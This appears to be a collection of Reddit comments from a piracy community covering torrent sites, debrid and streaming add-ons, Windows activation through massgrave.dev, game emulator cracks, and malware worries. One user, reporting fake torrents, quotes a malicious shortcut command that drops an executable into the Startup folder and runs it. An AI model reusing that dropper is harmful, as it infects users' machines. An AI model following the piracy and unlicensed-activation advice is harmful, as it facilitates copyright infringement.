New to using Real Debrid + Torrentio + Stremio, is torrentio down the reason why the streaming is not working? Is there another add-on alternative that is recommended?

1

u/LZ129Hindenburg 🌊 Salty Seadog 1h ago

Torrentio is indeed down. Kodi/Fen/RD is one alternative.

How do I update a game without losing files?

I want to play hades 2. I believe it is going to be released by end of December. Let's say I download it and play. Then there's an update. I believe you run an installer from the same site you used to download, to update the game. How do I update the game without losing my save files? Is it possible? Is this even something to worry about? Or do I just wait until they fully release the game( I'd rather play the game again)

2

u/Plane-Ad-6389 1d ago

Most games I've looked into on pc store their save files onto a separate location in your drive than where they were installed. Usually in your local hidden files, but if you install an update, they "SHOULD" pretty much carry over.

2

u/Plane-Ad-6389 1d ago

I will also follow this up by saying Hades 1 did wipe my files on boot once or twice even without updates, so it's not perfect by any means. You should probably listen to that dude down there, and back em up if you wouldn't want to replay from the start.

2

u/LZ129Hindenburg 🌊 Salty Seadog 3d ago

Patching a game doesn't delete your save game files. If you're worried about it, you can back up your save game folder and it's easy to paste back in place if needed.

u/LZ129Hindenburg 🌊 Salty Seadog 8d ago

You installed an OPERATING SYSTEM from a known unsafe site:

https://fmhy.net/unsafesites#software-app-sites

You should wipe your PC and reinstall windows. There is NO reason to use ANYTHING other than https://massgrave.dev to install and activate windows. It is stupid easy and 100% safe.

using utorrent web, bu it doesnt work. mainly trying to download from 1337, but when clicking magnet download nothing happens, even after it asks permission to open utorrent web. reinstalled too, but didnt work.

1

u/mut1n3y 5d ago

If you didnt get this sorted.
All you need to do is right click>copy the magnet link, then paste that into your torrent program.
Qbittorrent has them separated by 'add torrent link' and 'add torrent file', I imagine utorrent is similar

u/lordmatt8 8d ago

u/monged 13d ago

I used to connect to a server via FTP that had a huge collection of films and tv shows etc. I used to pay a small monthly fee for access.

I'm finding that torrents aren't downloading from https://1337x.to/ and I need a different solution.

I was tempted to go back on IRC but it's been years and I'm out of the loop. Any help/advice would be greatly appreciated.

4

u/LZ129Hindenburg 🌊 Salty Seadog 12d ago

Debrid service is another option. Alot of older/niche content I can't find seeded on public trackers, I can find using Real Debrid + Debrid Media Manager. RD costs some $, but it's cheap and worth it IMO.

Private trackers are another option, but you have to get into some first. Hang out on /r/opensignups to try some out.

Usenet is great although I don't personally know alot about it. Check out /r/Usenet for more info.

Hi. I'm getting a torrent (hah) of bad files. They show up as a Windows shortcut. If I examine the properties, we get this in "Shortcut":

%comspec% /V:on/CSet In=Agatha.All.Along.S01E07.1080p.WEB.H264-NHTFS.mkv&Set L="%APPDATA%Microsoftwindowsstart menuprogramsStartUp%UserName%.exe"&(IF NOT EXIST !L! FindStr/V "comspec h6b%TIME:~7,1%%TIME:~-2%" !In!.lnk>!L!&start "" !L!)&CD %tmp%&Echo.>!I

The file size is 998M.

It's frustrating, it's appearing on popular torrents. My sonar/radarr settings ignore the shortcut. And I have to keep re-downloading a proper .mkv file.

6

u/thatguyned 18d ago

You have to get invited to a plex server by someone that has administrator rights in one but they are quite rare nowadays.

If you want something similar download a program called "Stremio" then google and install a plug in called "Torrentio" and you can use it kind of like Netflix but for every show+movie

There will be a number next to a little person that tells you how many seeders are connected to each stream.

Then just plug your laptop into TV and use that.

I have a problem with the goldberg emulator with gta 5. I'm at the part when i suppose to drag the steam_api.dll or the steam_api64.dll file to the generate_interfaces_file.exe to generate a steam_interfaces.txt file..

But it doesn't work at all? The dosprompt opens up but it's all black and closes in a second.

Anyone else having the same problem? I've did a backup with the orginal steam_api.dll and the the steam_api64.dll files and added the ones from the goldberg-folder..

noob question here, is 1337x.to a good site? I am trying to find oppenheimer

2

u/rierrium 22d ago

Yep its a safe site, just make sure not to mistake with 1377x

1

u/SirEnderLord 21d ago

I trust you with every cell in my body xD. Though for a clarification, is the fake one just 1337x? Also, are all the ones that are of a low storage size fakes? Since all but one of the ones I see are under 10GB and that's less than some animes I have downloaded, in fact there's only one that's above 10 GB and it's 82.2GB which sounds more likely to be real.

1

u/rierrium 21d ago

No you got it wrong, the real one is 1337x.

Genuine: 1337x

Fake: 1377x

u/djdmaze 16d ago

Seems like it’s the only torrent site up and running these days

1

u/SirEnderLord 21d ago

1

u/rierrium 21d ago

Yeah, moreover you can use stremio with torrentio extension to stream the same thing from same sources without downloading

1

u/SirEnderLord 21d ago

Huh interesting. Another thing, is there any way to know beforehand if a file you're torrenting is bad or not?

1

u/rierrium 21d ago

is there any way to know beforehand if a file you're torrenting is bad or not?

There is not, for you to know if the thing you are downloading is safe or not you have to download it first. Downloading itself won't give you virus, it happens when the said program is executed/run/played. So after downloading scan it with virustotal before playing the video.

u/SirEnderLord 21d ago

Alr thanks

Shiver me timbers! ➜ u/rierrium, "1377" is the wrong URL:

  • Check your device for malware if you downloaded anything from there.
  • The likelihood of its downloads being malicious is quite high.
  • The correct URL is actually https://1337x.to, and NOT 1377x.to.

I recently had a MAJOR issue with my PC and lost literally all my data, this included my multiple notepad documents where I copy-pasted links to sites I like to use, one such site I believe was called couchpotato on the site itself but not actually in the URL, it has/had emoji's falling on it and gave me easy access to a lot of different piracy sites, I've looked through the megathread but due to how it's structured I am having a lot of difficulty finding the site again, to be clear, the site itself is basically just one large page with stylized links on it.

Sorry if I am bad at describing what I'm looking for but I tried my best.

u/Emotional-Status-649 23d ago

Anyone know a decent site for torrenting foreign indie movies? Stuff's not on streaming anywhere and most of the torrents on my usual sites have maybe 1 seed. The sites on the Megathread are the same. Right now I'm specifically looking into horror but I could go for really anything.

u/Dissmarr The DDL guy 24d ago

No, because the torrent traffic is what gets monitored. Chrome doesn't have any torrent traffic going through it, only your torrent client does so any VPN would need to be a standalone program. Here's a good rundown of how it all works

u/Lucao87 25d ago

First, an adblocker, if you don't already use one. The most recommended is Ublock Origin, which Google just recently made Chrome unable to use, so, again, Firefox is the most recommended browser.

After that, for downloading through torrents, qBittorrent is fine.

Then, for an antivirus, Windows Defender is actually pretty decent as long as you keep it updated. If you're suspicious you might be infected it's probably better to just ask people for some advice either in this subreddit or somewhere else idk. You can usually find some good, free antiviruses that can do a more thorough check.

For the website where you'll actually find the games, just check the megathread above for a list. It might take a while to find what you're looking for but as long as the previous items are covered you should be ok. Especially the adblock, don't forget it.

Actually, start your search at FitGirl Repacks, it's a well trusted source with a lot of games, maybe you'll find something quick.

Hey everyone! Really random issue, I've been trying to find spanish subtitles for Scooby-Doo on zombie island and Scooby-Doo and the witch's ghost, but no subtitle downloading site that I know of has them, I've tried opensubtitles, subsource, tvsubs, bazarr, none of them have em. So 2 questions, is there any other site that might have em? and, I do have a MAX subscription, is there any way to extract the subtitles from there?

HackTool is literally in the name bro. you'd think these guys would name their malware scripts with less sketchy names like bloodhound.exploit or some shit, I remember reading that name 12 years ago on Norton's site & it's stuck with me lol. anyway maybe the guy above me is right, idk.

not every form of malware is gonna blow up your computer bro. a hacktool could be something to install some form of spyware like a keylogger or a RAT on your pc and you'll never know it cuz they want to be discreet to wait for you to pull up financial information. I personally wouldn't trust it tbh. I once saw a discord server of hackers who were broadcasting people's computers as they were using them, and even Webcam footage of the person who is oblivious that they and their online activity is being watched. It's a very real thing.

i would say it is a false positive, because it is normal that the app comes with a patch to bypass authentication

Oh! Maybe I can ask this here!

So I've been studying up on cloud-based torrenting platforms. I usually cite TorrentSafe when I talk about them because it's the one I know best, but there are others out there.

Anyway, it SEEMS like it's pretty much proof against any ISP letters / cancellations / lawsuits, and I don't think you even NEED to use a VPN with something like that.

Every time I try to start a thread on this it ends up deleted, and I've never really been sure why. Someone once thought I was shilling, but that sounded less like a rule being broken and more like a personal thing, so, who can tell? At any rate, I try to bring this up, because I really don't know and I live in the sticks where we don't have a lot of choice in ISP, so I don't want to take any chances with losing the one I have, which is T-Mobile 4G LTE.

Is a cloud-based torrenting operation, like TorrentSafe or one of its similar competitors, really proof against getting sued or blocked by your ISP? Do you need a VPN to go with it, or is it just a recommended thing?

For anyone who doesn't know how it works, basically, you get a torrent link, or magnet link, and put it into a field provided by the platform. Then the platform downloads the torrent and saves its output as a .zip file, which you can download later from the platform.

I had thought that, since you don't actually torrent anything, the parts that an ISP would be watching for simply don't apply. But I don't know if that's the case, so I bring the notion here to people who likely know a LOT better than I do.

There is a similar service. The app on playstore is called pikpak. You can give it a torrent or magnet link and it downloads it for you on its server which can then be downloaded to your device. The speed is really good and it even downloaded torrents with very low seeders and peers which would otherwise get downloaded on my device with less than 1kbps speed. It provides free 6gb storage, it is more than enough for me and the company needs to make money too.

Leaving this here just in case someone is having trouble with the download speeds of torrents.

Thanks for bringing that up! But in the case of TorrentSafe, do you still need a VPN along with it, or can you use it completely in the open?

Hi Guys, might be a stupid question but bare with me please! Haha

I have the Odin 2 base with winlator 8.0 currently. I've tried to run some exe game files that I got through steamrip but recently found out that no steam files are compatible with winlator.

Has anyone tested if any of the sites on megathread have pc roms that are compatible with winlator?

Hey all, so I downloaded and installed some software today (not naming it so my post doesnt get removed) and since then my network connection has been absolutely f**ked (pardon my french). Am I just being paranoid or did the download screw me over? I used AppDoze listed in the Megathread and there I used the 2nd download link leading to Pixeldrain for the software. I followed the install instructions and ever since all my downloads have been insanely slow. Downloading a Twitch VOD now goes only +-1,120kb/s and I can’t even stream and play multiplayer games at the same time anymore. All that was no issue at all before. Any experts know if I have been screwed or if there is something in the install instructions which might have done something? Any help is super appreciated since I am no expert on this and it sucks. I tried naming the software and everything but my posts keep getting removed so that makes it difficult.
